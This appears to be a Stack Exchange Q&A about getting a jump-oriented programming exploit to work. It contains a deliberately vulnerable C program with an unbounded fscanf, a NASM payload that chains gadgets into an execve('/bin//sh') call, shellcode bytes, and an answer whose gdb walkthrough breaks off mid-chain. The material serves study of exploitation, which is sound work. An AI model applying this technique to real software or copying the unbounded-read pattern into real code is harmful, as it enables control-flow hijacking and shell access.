9

I found this interesting post on jop, and since I was not familiar with the concept I decided to play with it. I managed to call arbitrary functions defined in my binary with or without arguments, but never managed to run the example given on the post.

What he is doing is defining his own gadgets and a vulnerable program as can be seen bellow

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>

char* executable="/bin//sh";
char* null="\0\0\0";
FILE * fd;

void attack_payload () {
asm(".intel_syntax noprefix");
//dispatcher
asm("add ebp,edi; jmp [ebp-0x39];");

//initializer
asm("popa; jmp [ebx-0x3e];");

//g00
asm("popa; fdivr st(1), st; jmp [edx];");
//g01
asm("inc eax; fdivr st(1), st; jmp [edx];");
//g02
asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
//g03
asm("inc ebx; fdivr st(1), st; jmp [edx];");
//g07
asm("popa; cmc; jmp dword ptr [ecx];");
//g08
asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");
//g09
asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");
//g0a
asm("int 0x80");

asm(".att_syntax noprefix");
}

void overflow() {
  char buf[256];
//printf("%p", buf);
  fscanf(fd,"%[^\n]",buf);
  return;
}

int main(int argc, char** argv) {
  char* filename = "exploit";
  if(argc>1) filename = argv[1];
  fd=fopen(filename, "r");
  overflow();
}

By using gdb I think I found the correct addresses of the constants as defined in the payload

enter image description here

enter image description here

enter image description here

and as for the buffers' address I found it by subtracting its length from $ebp

(gdb) print $ebp
$1 = (void *) 0xffffce78
(gdb) print $ebp - 0x6c
$2 = (void *) 0xffffce0c

My constants look like this (after also changing the buffer size)

; Constants:
base:           equ 0xbfff42d0      ; Address where this buffer is loaded
;base:          equ 0xffffd2b0      ; Address where this buffer is loaded under gdb (the stack addresses change when gdb is present.)
dispatcher:     equ 0x804847e       ; Address of the dispatcher gadget
initializer     equ dispatcher+5    ; Address of initializer gadget
to_executable:      equ 0x80485c0       ; Points to the string "/bin/sh"
to_null:        equ 0x80485c9       ; Points to a null dword (0x00000000)
buffer_length:      equ 0x108       ; Target program's buffer size.

When I run the program though instead of getting a shell I get

Segmentation fault (core dumped)

The full exploit itself is as follows

start:
; Constants:
base:           equ 0xbfff42d0      ; Address where this buffer is loaded
;base:          equ 0xffffd2b0      ; Address where this buffer is loaded under gdb (the stack addresses change when gdb is present.)
dispatcher:     equ 0x804847e       ; Address of the dispatcher gadget
initializer     equ dispatcher+5    ; Address of initializer gadget
to_executable:      equ 0x80485c0       ; Points to the string "/bin/sh"
to_null:        equ 0x80485c9       ; Points to a null dword (0x00000000)
buffer_length:      equ 0x108       ; Target program's buffer size.

; The dispatch table is below (in reverse order)
g0a: dd dispatcher+52           ; int 0x80
g09: dd dispatcher+43           ; mov eax, [esi+0xc]        ; mov [esp], eax    ; call [esi+0x4]
g08: dd dispatcher+37           ; xchg ecx, eax         ; fdiv st, st(3)    ; jmp [esi-0xf]
g07: dd dispatcher+33           ; popa              ; cmc           ; jmp [ecx]
g06: dd dispatcher+19           ; mov [ebx-0x17bc0000], ah  ; stc           ; jmp [edx]
g05: dd dispatcher+28           ; inc ebx           ; fdivr st(1), st   ; jmp [edx]
g04: dd dispatcher+19           ; mov [ebx-0x17bc0000], ah  ; stc           ; jmp [edx]
g03: dd dispatcher+28           ; inc ebx           ; fdivr st(1), st   ; jmp [edx]
g02: dd dispatcher+19           ; mov [ebx-0x17bc0000], ah  ; stc           ; jmp [edx]
g01: dd dispatcher+14           ; inc eax           ; fdivr st(1), st   ; jmp [edx]
g00: dd dispatcher+9            ; popa              ; fdivr st(1), st   ; jmp [edx]
g_start:                ; Start of the dispatch table, which is in reverse order.

; Don't know why but there is an 8-byte padding between the buffer and the return address
times buffer_length+8 - ($-start) db 'x'    ; Pad to the end of the legal buffer

; Stuff to overwrite return address goes here
stored_ebp: dd 0xaaaaaaaa
ret_address: dd initializer

; Start of the stack. Data read by initializer gadget "popa":
popa0_edi: dd -4            ; Delta for dispatcher; negative to avoid NULLs
popa0_esi: dd 0xaaaaaaaa
popa0_ebp: dd base+g_start+0x39     ; Starting jump target for dispatcher (plus 0x39)
popa0_esp: dd 0xaaaaaaaa
popa0_ebx: dd base+to_dispatcher+0x3e   ; Jumpback for initializer (plus 0x3e)
popa0_edx: dd 0xaaaaaaaa
popa0_ecx: dd 0xaaaaaaaa
popa0_eax: dd 0xaaaaaaaa

; Data read by "popa" for the null-writer gadgets:
popa1_edi: dd -4            ; Delta for dispatcher
popa1_esi: dd base+to_dispatcher    ; Jumpback for gadgets ending in "jmp [esi]"
popa1_ebp: dd base+g00+0x39     ; Maintain current dispatch table offset
popa1_esp: dd 0xaaaaaaaa
popa1_ebx: dd base+new_eax+0x17bc0000+1 ; Null-writer clears the 3 high bytes of future eax
popa1_edx: dd base+to_dispatcher    ; Jumpback for gadgets ending "jmp [edx]"
popa1_ecx: dd 0xaaaaaaaa
popa1_eax: dd -1            ; When we increment eax later, it becomes 0

; Data read by "popa" to prepare for the system call:
popa2_edi: dd -4            ; Delta for dispatcher
popa2_esi: dd base+esi_addr     ; Jumpback for "jmp [esi+K]" for a few values of K
popa2_ebp: dd base+g07+0x39     ; Maintain current dispatch table offset
popa2_esp: dd 0xaaaaaaaa
popa2_ebx: dd to_executable     ; Syscall EBX = 1st execve arg (filename)
popa2_edx: dd to_null           ; Syscall EDX = 3rd execve arg (envp)
popa2_ecx: dd base+to_dispatcher    ; Jumpback for "jmp [ecx]"
popa2_eax: dd to_null           ; Swapped into ECX for syscall. 2nd execve arg (argv)

; End of stack, start of a general data region used in manual addressing

        dd dispatcher       ; Jumpback for "jmp [esi-0xf]"
        times 0xB db 'X'    ; Filler
esi_addr:   dd dispatcher       ; Jumpback for "jmp [esi]"
        dd dispatcher       ; Jumpback for "jmp [esi+0x4]"
        times 4 db 'Z'      ; Filler
new_eax:    dd 0xEEEEEE0B       ; Sets syscall EAX via [esi+0xc]; EE bytes will be cleared
        times 3 db 'Z'      ; Filler

to_dispatcher:  dd dispatcher       ; Address of the dispatcher:    add ebp,edi         ; jmp [ebp-0x39]
        dw 0x73         ; The standard code segment; allows far jumps; ends in NULL

I compile this by using nasm v2.07 in order to avoid the exploit.nasm:47: warning: dword data exceeds bounds issue and compile it like so

nasm exploit.nasm 

to produce a 408 byte file that looks like this;

enter image description here

The compiled shellcode as a string looks like this:

char shellcode[] =
    "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x02\x00\x03\x00\x01\x00\x00\x00\x60\x80\x04\x08\x34\x00"
    "\x00\x00\x38\x07\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01"
    "\x00\x28\x00\x05\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x80\x04\x08\x00\x80\x04\x08\x00\x02\x00\x00\x00\x02\x00"
    "\x00\x05\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\xb2\x84\x04\x08\xa9\x84\x04\x08\xa3"
    "\x84\x04\x08\x9f\x84\x04\x08\x91\x84\x04\x08\x9a\x84\x04\x08"
    "\x91\x84\x04\x08\x9a\x84\x04\x08\x91\x84\x04\x08\x8c\x84\x04"
    "\x08\x87\x84\x04\x08\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78\x78"
    "\x78\x78\x78\x78\x78\x78\x78\x78\xaa\xaa\xaa\xaa\x83\x84\x04"
    "\x08\xfc\xff\xff\xff\xaa\xaa\xaa\xaa\xf1\x20\x09\x10\xaa\xaa"
    "\xaa\xaa\x64\x22\x09\x10\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
    "\xaa\xaa\xaa\xfc\xff\xff\xff\x26\x22\x09\x10\xed\x20\x09\x10"
    "\xaa\xaa\xaa\xaa\x20\x22\xc5\x27\x26\x22\x09\x10\xaa\xaa\xaa"
    "\xaa\xff\xff\xff\xff\xfc\xff\xff\xff\x13\x22\x09\x10\xd1\x20"
    "\x09\x10\xaa\xaa\xaa\xaa\x20\xa0\x04\x08\x24\xa0\x04\x08\x26"
    "\x22\x09\x10\x24\xa0\x04\x08\x7e\x84\x04\x08\x58\x58\x58\x58"
    "\x58\x58\x58\x58\x58\x58\x58\x7e\x84\x04\x08\x7e\x84\x04\x08"
    "\x5a\x5a\x5a\x5a\x0b\xee\xee\xee\x5a\x5a\x5a\x7e\x84\x04\x08"
    "\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x60\x80\x04\x08\x00\x00\x00\x00"
    "\x03\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x04\x00\xf1\xff\x71\x00\x00\x00\x60\x80\x04\x08\x00\x00"
    "\x00\x00\x00\x00\x01\x00\x0e\x00\x00\x00\x2c\xa0\x04\x08\x00"
    "\x00\x00\x00\x00\x00\xf1\xff\x92\x01\x00\x00\x7e\x84\x04\x08"
    "\x00\x00\x00\x00\x00\x00\xf1\xff\x13\x00\x00\x00\x83\x84\x04"
    "\x08\x00\x00\x00\x00\x00\x00\xf1\xff\x1f\x00\x00\x00\x20\xa0"
    "\x04\x08\x00\x00\x00\x00\x00\x00\xf1\xff\x2d\x00\x00\x00\x24"
    "\xa0\x04\x08\x00\x00\x00\x00\x00\x00\xf1\xff\x35\x00\x00\x00"
    "\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\xf1\xff\x43\x00\x00"
    "\x00\x60\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x47\x00"
    "\x00\x00\x64\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x4b"
    "\x00\x00\x00\x68\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00"
    "\x4f\x00\x00\x00\x6c\x80\x04\x08\x00\x00\x00\x00\x00\x00\x01"
    "\x00\x53\x00\x00\x00\x70\x80\x04\x08\x00\x00\x00\x00\x00\x00"
    "\x01\x00\x57\x00\x00\x00\x74\x80\x04\x08\x00\x00\x00\x00\x00"
    "\x00\x01\x00\x5b\x00\x00\x00\x78\x80\x04\x08\x00\x00\x00\x00"
    "\x00\x00\x01\x00\x5f\x00\x00\x00\x7c\x80\x04\x08\x00\x00\x00"
    "\x00\x00\x00\x01\x00\x63\x00\x00\x00\x80\x80\x04\x08\x00\x00"
    "\x00\x00\x00\x00\x01\x00\x67\x00\x00\x00\x84\x80\x04\x08\x00"
    "\x00\x00\x00\x00\x00\x01\x00\x6b\x00\x00\x00\x88\x80\x04\x08"
    "\x00\x00\x00\x00\x00\x00\x01\x00\x6f\x00\x00\x00\x8c\x80\x04"
    "\x08\x00\x00\x00\x00\x00\x00\x01\x00\x77\x00\x00\x00\x70\x81"
    "\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x82\x00\x00\x00\x74"
    "\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x8e\x00\x00\x00"
    "\x78\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x98\x00\x00"
    "\x00\x7c\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\xa2\x00"
    "\x00\x00\x80\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\xac"
    "\x00\x00\x00\x84\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00"
    "\xb6\x00\x00\x00\x88\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01"
    "\x00\xc0\x00\x00\x00\x8c\x81\x04\x08\x00\x00\x00\x00\x00\x00"
    "\x01\x00\xca\x00\x00\x00\x90\x81\x04\x08\x00\x00\x00\x00\x00"
    "\x00\x01\x00\xd4\x00\x00\x00\x94\x81\x04\x08\x00\x00\x00\x00"
    "\x00\x00\x01\x00\xde\x00\x00\x00\x98\x81\x04\x08\x00\x00\x00"
    "\x00\x00\x00\x01\x00\xe8\x00\x00\x00\x9c\x81\x04\x08\x00\x00"
    "\x00\x00\x00\x00\x01\x00\xf2\x00\x00\x00\xa0\x81\x04\x08\x00"
    "\x00\x00\x00\x00\x00\x01\x00\xfc\x00\x00\x00\xa4\x81\x04\x08"
    "\x00\x00\x00\x00\x00\x00\x01\x00\x06\x01\x00\x00\xa8\x81\x04"
    "\x08\x00\x00\x00\x00\x00\x00\x01\x00\x10\x01\x00\x00\xac\x81"
    "\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x1a\x01\x00\x00\xb0"
    "\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x24\x01\x00\x00"
    "\xb4\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x2e\x01\x00"
    "\x00\xb8\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x38\x01"
    "\x00\x00\xbc\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00\x42"
    "\x01\x00\x00\xc0\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01\x00"
    "\x4c\x01\x00\x00\xc4\x81\x04\x08\x00\x00\x00\x00\x00\x00\x01"
    "\x00\x56\x01\x00\x00\xc8\x81\x04\x08\x00\x00\x00\x00\x00\x00"
    "\x01\x00\x60\x01\x00\x00\xcc\x81\x04\x08\x00\x00\x00\x00\x00"
    "\x00\x01\x00\x6a\x01\x00\x00\xd0\x81\x04\x08\x00\x00\x00\x00"
    "\x00\x00\x01\x00\x74\x01\x00\x00\xd4\x81\x04\x08\x00\x00\x00"
    "\x00\x00\x00\x01\x00\x7e\x01\x00\x00\xe7\x81\x04\x08\x00\x00"
    "\x00\x00\x00\x00\x01\x00\x87\x01\x00\x00\xf3\x81\x04\x08\x00"
    "\x00\x00\x00\x00\x00\x01\x00\x8f\x01\x00\x00\xfa\x81\x04\x08"
    "\x00\x00\x00\x00\x00\x00\x01\x00\x9d\x01\x00\x00\x00\x92\x04"
    "\x08\x00\x00\x00\x00\x10\x00\x01\x00\xa9\x01\x00\x00\x00\x92"
    "\x04\x08\x00\x00\x00\x00\x10\x00\x01\x00\xb0\x01\x00\x00\x00"
    "\x92\x04\x08\x00\x00\x00\x00\x10\x00\x01\x00\x00\x65\x78\x70"
    "\x6c\x6f\x69\x74\x2e\x6e\x61\x73\x6d\x00\x62\x61\x73\x65\x00"
    "\x69\x6e\x69\x74\x69\x61\x6c\x69\x7a\x65\x72\x00\x74\x6f\x5f"
    "\x65\x78\x65\x63\x75\x74\x61\x62\x6c\x65\x00\x74\x6f\x5f\x6e"
    "\x75\x6c\x6c\x00\x62\x75\x66\x66\x65\x72\x5f\x6c\x65\x6e\x67"
    "\x74\x68\x00\x67\x30\x61\x00\x67\x30\x39\x00\x67\x30\x38\x00"
    "\x67\x30\x37\x00\x67\x30\x36\x00\x67\x30\x35\x00\x67\x30\x34"
    "\x00\x67\x30\x33\x00\x67\x30\x32\x00\x67\x30\x31\x00\x67\x30"
    "\x30\x00\x67\x5f\x73\x74\x61\x72\x74\x00\x73\x74\x6f\x72\x65"
    "\x64\x5f\x65\x62\x70\x00\x72\x65\x74\x5f\x61\x64\x64\x72\x65"
    "\x73\x73\x00\x70\x6f\x70\x61\x30\x5f\x65\x64\x69\x00\x70\x6f"
    "\x70\x61\x30\x5f\x65\x73\x69\x00\x70\x6f\x70\x61\x30\x5f\x65"
    "\x62\x70\x00\x70\x6f\x70\x61\x30\x5f\x65\x73\x70\x00\x70\x6f"
    "\x70\x61\x30\x5f\x65\x62\x78\x00\x70\x6f\x70\x61\x30\x5f\x65"
    "\x64\x78\x00\x70\x6f\x70\x61\x30\x5f\x65\x63\x78\x00\x70\x6f"
    "\x70\x61\x30\x5f\x65\x61\x78\x00\x70\x6f\x70\x61\x31\x5f\x65"
    "\x64\x69\x00\x70\x6f\x70\x61\x31\x5f\x65\x73\x69\x00\x70\x6f"
    "\x70\x61\x31\x5f\x65\x62\x70\x00\x70\x6f\x70\x61\x31\x5f\x65"
    "\x73\x70\x00\x70\x6f\x70\x61\x31\x5f\x65\x62\x78\x00\x70\x6f"
    "\x70\x61\x31\x5f\x65\x64\x78\x00\x70\x6f\x70\x61\x31\x5f\x65"
    "\x63\x78\x00\x70\x6f\x70\x61\x31\x5f\x65\x61\x78\x00\x70\x6f"
    "\x70\x61\x32\x5f\x65\x64\x69\x00\x70\x6f\x70\x61\x32\x5f\x65"
    "\x73\x69\x00\x70\x6f\x70\x61\x32\x5f\x65\x62\x70\x00\x70\x6f"
    "\x70\x61\x32\x5f\x65\x73\x70\x00\x70\x6f\x70\x61\x32\x5f\x65"
    "\x62\x78\x00\x70\x6f\x70\x61\x32\x5f\x65\x64\x78\x00\x70\x6f"
    "\x70\x61\x32\x5f\x65\x63\x78\x00\x70\x6f\x70\x61\x32\x5f\x65"
    "\x61\x78\x00\x65\x73\x69\x5f\x61\x64\x64\x72\x00\x6e\x65\x77"
    "\x5f\x65\x61\x78\x00\x74\x6f\x5f\x64\x69\x73\x70\x61\x74\x63"
    "\x68\x65\x72\x00\x5f\x5f\x62\x73\x73\x5f\x73\x74\x61\x72\x74"
    "\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x00\x2e"
    "\x73\x79\x6d\x74\x61\x62\x00\x2e\x73\x74\x72\x74\x61\x62\x00"
    "\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00"
    "\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x60\x80\x04\x08\x60"
    "\x00\x00\x00\xa0\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x10\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15\x07\x00\x00\x21\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00"
    "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x02\x00\x00\x60\x03\x00\x00\x04\x00\x00"
    "\x00\x33\x00\x00\x00\x04\x00\x00\x00\x10\x00\x00\x00\x09\x00"
    "\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60"
    "\x05\x00\x00\xb5\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x01\x00\x00\x00\x00\x00\x00\x00";

Why is it that this is not working as expected? I suspect it has to do with me defining wrong memory locations for the dispatcher since I saw a similar behavior on simpler examples that I tried.

dearn44
  • 193
  • 5

1 Answers1

2

Start by compiling the vulnerable.c. Avoiding the creation of Position Independent Executable (PIE) simplifies things.

$ uname -r
4.13.0-19-generic
$ uname -m
x86_64
$ gcc-6 --version
gcc-6 (Ubuntu 6.4.0-8ubuntu1) 6.4.0 20171010
...
$ gcc-6 -no-pie vulnerable.c -o vulnerable -g -m32 -fno-stack-protector -O0
$ readelf -h vulnerable|grep Type
  Type:                              EXEC (Executable file)

This shows the attack inside gdb, but some addresses might change when you execute the attack directly.

$ gdb vulnerable
...
(gdb) disassemble attack_payload 
Dump of assembler code for function attack_payload:
...
   0x080484e8 <+13>:    add    %edi,%ebp
   0x080484ea <+15>:    jmp    *-0x39(%ebp)
...
(gdb) x executable
0x8048680:  0x6e69622f
(gdb) x null
0x8048689:  0x00000000
(gdb) b overflow 
Breakpoint 1 at 0x8048535: file vulnerable.c, line 44.
(gdb) r
Starting program: /home/mkayaalp/jop/vulnerable 

Breakpoint 1, overflow () at vulnerable.c:44
44    fscanf(fd,"%[^\n]",buf);
(gdb) x buf 
0xffffd460: 0x0804b160

Leave gdb open and change the constants in the exploit.nasm file:

start:
; Constants:
base:          equ 0xffffd460   ; Address where this buffer is loaded 
dispatcher:    equ 0x080484e8   ; Address of the dispatcher gadget
initializer    equ dispatcher+5 ; Address of initializer gadget
to_executable: equ 0x08048680   ; Points to the string "/bin/sh"
to_null:       equ 0x08048689   ; Points to a null dword (0x00000000)
buffer_length: equ 0x100        ; Target program's buffer size.
...

Now generate the exploit and give it a quick look to ensure the payload termination bytes do not appear in the middle of the payload.

$ nasm exploit.nasm; hd exploit
00000000  1c 85 04 08 13 85 04 08  0d 85 04 08 09 85 04 08  |................|
00000010  fb 84 04 08 04 85 04 08  fb 84 04 08 04 85 04 08  |................|
00000020  fb 84 04 08 f6 84 04 08  f1 84 04 08 78 78 78 78  |............xxxx|
00000030  78 78 78 78 78 78 78 78  78 78 78 78 78 78 78 78  |xxxxxxxxxxxxxxxx|
*
00000100  78 78 78 78 78 78 78 78  aa aa aa aa ed 84 04 08  |xxxxxxxx........|
00000110  fc ff ff ff aa aa aa aa  c5 d4 ff ff aa aa aa aa  |................|
00000120  30 d6 ff ff aa aa aa aa  aa aa aa aa aa aa aa aa  |0...............|
00000130  fc ff ff ff f2 d5 ff ff  c1 d4 ff ff aa aa aa aa  |................|
00000140  ec d5 bb 17 f2 d5 ff ff  aa aa aa aa ff ff ff ff  |................|
00000150  fc ff ff ff df d5 ff ff  a5 d4 ff ff aa aa aa aa  |................|
00000160  80 86 04 08 89 86 04 08  f2 d5 ff ff 89 86 04 08  |................|
00000170  e8 84 04 08 58 58 58 58  58 58 58 58 58 58 58 e8  |....XXXXXXXXXXX.|
00000180  84 04 08 e8 84 04 08 5a  5a 5a 5a 0b ee ee ee 5a  |.......ZZZZ....Z|
00000190  5a 5a e8 84 04 08 73 00                           |ZZ....s.|
00000198

Note that the vulnerability is in the following line:

fscanf(fd,"%[^\n]",buf);

which copies bytes from the file until a newline character (0x0A) is found. If the resulting exploit has this byte, the remaining payload will not be copied. (But you can tweak the vulnerability to get rid of this limitation. First read the file, then copy a null-terminated string without checking the size with strcpy.)

Since the exploit above does not have 00 or 0A except at the end, it should work.

Restart the program at gdb and step through the execution:

(gdb) r
Starting program: /home/mkayaalp/jop/vulnerable 

Breakpoint 1, overflow () at vulnerable.c:44
44    fscanf(fd,"%[^\n]",buf);
(gdb) n
45    return;
(gdb) x /408b buf
0xffffd460: 0x1c    0x85    0x04    0x08    0x13    0x85    0x04    0x08
0xffffd468: 0x0d    0x85    0x04    0x08    0x09    0x85    0x04    0x08
0xffffd470: 0xfb    0x84    0x04    0x08    0x04    0x85    0x04    0x08
0xffffd478: 0xfb    0x84    0x04    0x08    0x04    0x85    0x04    0x08
0xffffd480: 0xfb    0x84    0x04    0x08    0xf6    0x84    0x04    0x08
0xffffd488: 0xf1    0x84    0x04    0x08    0x78    0x78    0x78    0x78
0xffffd490: 0x78    0x78    0x78    0x78    0x78    0x78    0x78    0x78
...
0xffffd560: 0x78    0x78    0x78    0x78    0x78    0x78    0x78    0x78
0xffffd568: 0xaa    0xaa    0xaa    0xaa    0xed    0x84    0x04    0x08
0xffffd570: 0xfc    0xff    0xff    0xff    0xaa    0xaa    0xaa    0xaa
0xffffd578: 0xc5    0xd4    0xff    0xff    0xaa    0xaa    0xaa    0xaa
0xffffd580: 0x30    0xd6    0xff    0xff    0xaa    0xaa    0xaa    0xaa
0xffffd588: 0xaa    0xaa    0xaa    0xaa    0xaa    0xaa    0xaa    0xaa
0xffffd590: 0xfc    0xff    0xff    0xff    0xf2    0xd5    0xff    0xff
0xffffd598: 0xc1    0xd4    0xff    0xff    0xaa    0xaa    0xaa    0xaa
0xffffd5a0: 0xec    0xd5    0xbb    0x17    0xf2    0xd5    0xff    0xff
0xffffd5a8: 0xaa    0xaa    0xaa    0xaa    0xff    0xff    0xff    0xff
0xffffd5b0: 0xfc    0xff    0xff    0xff    0xdf    0xd5    0xff    0xff
0xffffd5b8: 0xa5    0xd4    0xff    0xff    0xaa    0xaa    0xaa    0xaa
0xffffd5c0: 0x80    0x86    0x04    0x08    0x89    0x86    0x04    0x08
0xffffd5c8: 0xf2    0xd5    0xff    0xff    0x89    0x86    0x04    0x08
0xffffd5d0: 0xe8    0x84    0x04    0x08    0x58    0x58    0x58    0x58
0xffffd5d8: 0x58    0x58    0x58    0x58    0x58    0x58    0x58    0xe8
0xffffd5e0: 0x84    0x04    0x08    0xe8    0x84    0x04    0x08    0x5a
0xffffd5e8: 0x5a    0x5a    0x5a    0x0b    0xee    0xee    0xee    0x5a
0xffffd5f0: 0x5a    0x5a    0xe8    0x84    0x04    0x08    0x73    0x00

This shows that the buffer overflow worked. Now the execution will go through the gadgets. display /i $pc shows the current instruction, and si steps one instruction.

(gdb) display /i $pc 
1: x/i $pc
=> 0x8048559 <overflow+56>: nop
(gdb) si
46  }
1: x/i $pc
=> 0x804855a <overflow+57>: mov    -0x4(%ebp),%ebx
(gdb) 
0x0804855d  46  }
1: x/i $pc
=> 0x804855d <overflow+60>: leave  
(gdb) 
0x0804855e  46  }
1: x/i $pc
=> 0x804855e <overflow+61>: ret    
(gdb) 
attack_payload () at vulnerable.c:19
19  asm("popa; jmp [ebx-0x3e];");
1: x/i $pc
=> 0x80484ed <attack_payload+18>:   popa   
(gdb) 
0x080484ee in attack_payload () at vulnerable.c:19
19  asm("popa; jmp [ebx-0x3e];");
1: x/i $pc
=> 0x80484ee <attack_payload+19>:   jmp    *-0x3e(%ebx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
22  asm("popa; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f1 <attack_payload+22>:   popa   
(gdb) 
0x080484f2  22  asm("popa; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f2 <attack_payload+23>:   fdiv   %st,%st(1)
(gdb) 
0x080484f4  22  asm("popa; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f4 <attack_payload+25>:   jmp    *(%edx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
24  asm("inc eax; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f6 <attack_payload+27>:   inc    %eax
(gdb) 
0x080484f7  24  asm("inc eax; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f7 <attack_payload+28>:   fdiv   %st,%st(1)
(gdb) 
0x080484f9  24  asm("inc eax; fdivr st(1), st; jmp [edx];");
1: x/i $pc
=> 0x80484f9 <attack_payload+30>:   jmp    *(%edx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x80484fb <attack_payload+32>:   mov    %ah,-0x17bc0000(%ebx)
(gdb) 
0x08048501  26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048501 <attack_payload+38>:   stc    
(gdb) 
0x08048502  26  asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
1: x/i $pc
=> 0x8048502 <attack_payload+39>:   jmp    *(%edx)
(gdb) 
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484e8 <attack_payload+13>:   add    %edi,%ebp
(gdb) 
0x080484ea in attack_payload () at vulnerable.c:16
16  asm("add ebp,edi; jmp [ebp-0x39];");
1: x/i $pc
=> 0x80484ea <attack_payload+15>:   jmp    *-0x39(%ebp)
(gdb) 
28  asm("inc ebx; fdivr st(1), st; jmp [edx];");
